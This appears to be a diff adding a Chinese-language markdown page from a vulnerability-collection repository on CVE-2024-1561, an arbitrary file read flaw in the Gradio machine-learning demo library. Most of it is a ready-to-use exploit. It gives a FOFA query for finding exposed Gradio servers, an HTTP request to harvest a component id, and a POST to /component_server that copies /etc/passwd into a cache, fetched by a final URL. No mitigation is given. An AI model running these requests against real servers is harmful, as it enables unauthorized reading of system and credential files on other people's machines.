24-5-21更新漏洞

Gradio存在任意文件读取漏洞(CVE-2024-1561).md

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+## Gradio存在任意文件读取漏洞(CVE-2024-1561)
+
+Gradio是一个开源 Python 库，是通过友好的 Web 界面演示机器学习模型的方法。Gradio 存在安全漏洞，该漏洞源于端点不正确地允许调用类上的任何方法，允许未经授权的本地文件读取访问，可能导致敏感信息泄露。
+
+## fofa
+
+```
+body="gradio_mode"
+```
+
+## poc
+
+获取components后面的id值
+
+```
+GET /config HTTP/1.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
+Accept-Encoding: gzip, deflate
+Accept: */*
+Connection: close
+Host: xxx.xxx.xxx.xx
+```
+
+读取/etc/passwd
+
+```
+POST /component_server HTTP/1.1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
+Accept-Encoding: gzip, deflate
+Accept: */*
+Connection: close
+Host: xxx.xxx.xxx.xxx
+Content-Type: application/json
+Content-Length: 105
+
+{"component_id": "上面获取的id","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "a"}
+```
+
+![image-20240521195609464](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202405211956540.png)
+
+
+
+读取该文件，实现任意文件读取
+
+```
+http://xxx.xxx.xxx.xxx/file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd
+```
+
+![image-20240521195643782](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202405211956861.png)